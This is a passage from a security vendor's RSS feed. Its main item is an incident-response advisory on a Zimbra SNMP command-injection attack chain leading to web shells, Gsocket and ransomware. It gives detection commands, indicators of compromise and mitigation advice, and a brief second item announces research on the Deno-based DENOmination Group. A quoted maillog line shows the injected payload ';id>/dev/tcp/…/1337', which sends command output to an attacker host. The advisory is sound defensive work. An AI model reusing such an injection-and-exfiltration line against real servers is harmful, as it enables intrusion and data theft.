<p>The vulnerability CVE-2026-73570 allows an attacker to inject and execute malicious commands on a Zimbra mail server with the privileges of the zimbra user without prior authentication as a result of insufficient input sanitization in the SNMP component.</p>
<p>For successful exploitation, the mail server must have a version of Zimbra Collaboration Suite below 10.1.20 installed, as well as the zimbra-snmp package installed and SNMP notifications enabled. The vulnerability is exploited by sending a specially crafted SMTP request through ports 25, 465, or 587.</p>
</blockquote>
<p>👀 <strong>Attack scenario:</p>
<p></strong>1. As a result of exploiting the vulnerability CVE-2026-73570, the threat actors create on the mail server the file <code>/opt/zimbra/jetty_base/webapps/zimbra/public/version.txt</code> (or <code>versions.txt</code>), containing information about the version of Zimbra software used on the server. The created file is an indicator for the attacker of successful exploitation of the vulnerability.</p>
<p>2. At the next stage, the threat actors upload JSP shells to the mail server directory <code>/opt/zimbra/jetty_base/webapps/zimbra/public/</code>. In addition, the deployment of the hacking tool Gsocket onto the server was recorded. We have previously written a detailed note about <a href="https://t.me/ptescalator/112" rel="noopener" target="_blank">how to detect the Gsocket tool</a>.</p>
<p>3. Next, the threat actors upload the TargetZimbra encryptor, written in the Go language. After launch, this malicious module encrypts files using the ChaCha20 algorithm in the /opt/zimbra/ directory and its subdirectories.</p>
<p>4. After encrypting the files, the encryptor changes their extension to <code>.elock</code>, and also creates in the encrypted directories the files <code>!README_RECOVER.txt</code>, containing contact information and details for paying a ransom to decrypt the data. Upon completion, the malicious module TargetZimbra deletes itself from the system.</p>
<p>📫 <strong>How to check your Zimbra mail server for signs of compromise?</p>
<p></strong>1. In the main system log of the mail service<code> /var/log/maillog</code>, entries containing the substring <code>changed from stopped to</code>, preceded by a shell command or other suspicious payload, are a sign of exploitation of the vulnerability CVE-2026-73570.</p>
<p>The following command can be used to search for malicious events on your server: <code>grep &quot;changed from stopped to&quot; /var/log/maillog</p>
<p></code>Example of executing the <code>id</code> command and transmitting its output to the attackers&#8217; C2 server:</p>
<pre><code>Aug 29 14:23:46 zimbra-server postfix/submission/smtpd[108829]: improper command pipelining after EHLO from unknown[[REDACTED_IP_1]]: : Service status change: h ;id&gt;/dev/tcp/[REDACTED_IP_2]/1337; changed from stopped to running\r\nQUIT\r\n  

- time of vulnerability exploitation: August 29, 2026 at 14:23:46; 
- [REDACTED_IP_1]: C2 address of the threat actors; 
- id&gt;/dev/tcp/[REDACTED_IP_2]/1337: command to execute on the system.</code></pre>
<p>2. The presence of non-standard JSP files that do not belong to the Zimbra software and were created or modified over the past months in the directory <code>/opt/zimbra/jetty_base/webapps/zimbra/</code> and all its subdirectories. Characteristic signs of malicious JSP files are the presence of obfuscated code, encoded strings, as well as atypical handling of GET and POST requests.</p>
<p>The following commands can be used to search for recently created or modified JSP files on your server:</p>
<p><code>find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname &#039;*.jsp&#039; -newermt &#039;2026-07-01&#039;</code> (search by file modification date)</p>
<p><code>find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname &#039;*.jsp&#039; -newerBt &#039;2026-07-01&#039;</code> (search by file creation date)</p>
<p><em>Note that not all Linux file systems store the file creation date. If the system does not track this timestamp, the find command will return an error.</p>
<p></em>Also scan the server with antivirus tools.</p>
<p>3. In the WEB server access log (for example, for the Nginx WEB server the standard location is <code>/var/log/nginx/access.log</code>), entries about access to non-standard JSP files (with response code 200) located in the directory <code>/opt/zimbra/jetty_base/webapps/zimbra/</code> and all its subdirectories (in particular, the frequently used directory <code>/opt/zimbra/jetty_base/webapps/zimbra/public/</code>) may indicate the presence of WEB shells on the mail server. If the WEB shell receives commands via a GET request, the transmitted command will be displayed in the log.</p>
<p>Example of output of the result of executing the <code>ls</code> command to the attacker&#8217;s browser:</p>
<pre><code>[REDACTED_IP] - - [29/Aug/2026:12:41:35 +0000] GET /public/bzng.jsp?p=ls HTTP/1.0 200 443 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 34889  

- [REDACTED_IP]: C2 address of the threat actors; 
- [29/Aug/2026:12:41:35 +0000]: time of access to the WEB shell; 
- public/bzng.jsp: location of the WEB shell; 
- ls: command being executed.</code></pre>
<p>In addition, while investigating the network infrastructure of the threat actors, we discovered WEB panels of the <a href="https://github.com/Ed1s0nZ/CyberStrikeAI" rel="noopener" target="_blank">CyberStrikeAI</a> platform hosted on several C2 servers (<em>screenshots 1 and 2</em>).</p>
<figure class="wp-block-image"><img width="1024" height="834" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-1024x834.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-1024x834.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-300x244.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-768x625.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41.jpg 1045w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Screenshot 1</figcaption></figure>
<p><code>CyberStrikeAI</code> is an open platform designed to automate penetration testing using AI.</p>
<figure class="wp-block-image"><img width="1024" height="523" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-1024x523.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-1024x523.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-300x153.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-768x392.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-1536x784.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-2048x1046.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Screenshot 2</figcaption></figure>
<p>The presence of a working platform on the attackers&#8217; C2 server may indicate its use both at individual stages of the attack (for example, initial server compromise) and throughout the entire incident.</p>
<p>💡 <strong>We recommend:</p>
<p></strong>1. Update the Zimbra software on your mail server to the current version. Ideally, also reinstall the server OS while migrating all mail data.</p>
<p>2. If a quick software update is not possible, a temporary solution may be to disable SNMP notifications and remove the <code>zimbra-snmp</code> package.</p>
<p>3. In addition, scan the mail server with antivirus tools, and also manually inspect non-standard JSP files created in recent months in Zimbra service directories.</p>
<p><strong>File indicators of compromise:</strong></p>
<blockquote>
<p><code>/opt/zimbra/jetty_base/webapps/zimbra/public/version.tx</code>t or <code>versions.txt</code> — a file containing the Zimbra software version;</p>
<p><code>/opt/zimbra/jetty_base/webapps/zimbra/public/[Filename].jsp</code> — WEB-shell;</p>
<p><code>/opt/zimbra/log/defunct</code> — Gsocket;</p>
<p><code>elockc[a-z]</code> (for example, <code>elockcl</code>) — ransomware;</p>
<p><code>runloop.sh</code> — a script created by the ransomware;</p>
<p><code>!README_RECOVER.txt</code> — a note from the attackers;</p>
<p><code>*.elock</code> — files with the <code>.elock</code> extension.</p>
</blockquote>
<p><strong>Network indicators of compromise:</strong></p>
<pre><code>135.136.63.63
139.28.49.138
146.70.169.246
193.24.211.91
193.32.126.168
31.177.110.136
37.32.73.156
64.62.156.162
64.62.156.222
64.62.156.94
88.214.21.183
89.116.171.182
89.117.94.35</code></pre>
<p><strong><br />
Gsocket:</strong></p>
<pre><code>*.gs.thc.org
gsocket.io
152.53.173.29
152.53.173.30
176.65.149.52
212.132.98.170
217.154.53.116
217.154.53.187
45.90.4.121
45.90.4.128
51.91.190.241
51.91.190.242</code></pre>
<p><span class="hashtag">#IR</span> <span class="hashtag">#CVE</span> <span class="hashtag">#Malware</span> <span class="hashtag">#detect</span> <span class="hashtag">#dfir</span> <span class="hashtag">#ioc</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ding, ding — who&#039;s there?</title>
		<link>https://ptesc.tech/en/ding-ding-whos-there/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 09 Sep 2026 12:17:40 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">https://ptesc.tech/din-din-%d0%ba%d1%82%d0%be-%d1%82%d0%b0%d0%bc/</guid>

					<description><![CDATA[Ding, ding — who's there? 🔔 The cyber intelligence group of Positive Technologies' expert security center has discovered a new group that we have named DENOmination Group. In 2026, we recorded its activity against Russian organizations in t…]]></description>
										<content:encoded><![CDATA[<p><strong>Ding, ding — who&#8217;s there?</strong> 🔔</p>
<p>The cyber intelligence group of Positive Technologies&#8217; expert security center has discovered a new group that we have named <strong>DENOmination Group</strong>.</p>
<p>In 2026, we recorded its activity against Russian organizations in the defense-industrial, military, financial, and consulting sectors.</p>
<p>The key feature of the attacks is the use of the legitimate Deno runtime to execute malicious JavaScript/TypeScript code. In the investigated chains, we observed the DinDoor loader, the DenoRAT remote access agent, malicious MSI and LNK files, rotation of C2 infrastructure, and several related methods of initial delivery.</p>
<p>Overlaps in the codebase, configuration parameters, chain construction logic, and network infrastructure allowed us to link the observed episodes to the activity of a single group.</p>
<p>In the study, we analyzed the architecture of DinDoor and DenoRAT, the mechanisms of persistence and interaction with C2, infrastructure overlaps, TTPs, and a possible model of a shared platform being used by multiple operators.</p>
<p>Details —<strong> </strong><a href="https://ptsecurity.com/research/pt-esc-threat-intelligence/denomination-group-deno-in-attack-chains-targeting-russian-organizations/?utm_source=tg_esc&amp;utm_medium=deno&amp;utm_campaign=09_09" rel="noopener" target="_blank">in our blog</a> 🦖</p>
<p><span class="hashtag">#TI</span> <span class="hashtag">#APT</span> <span class="hashtag">#Malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
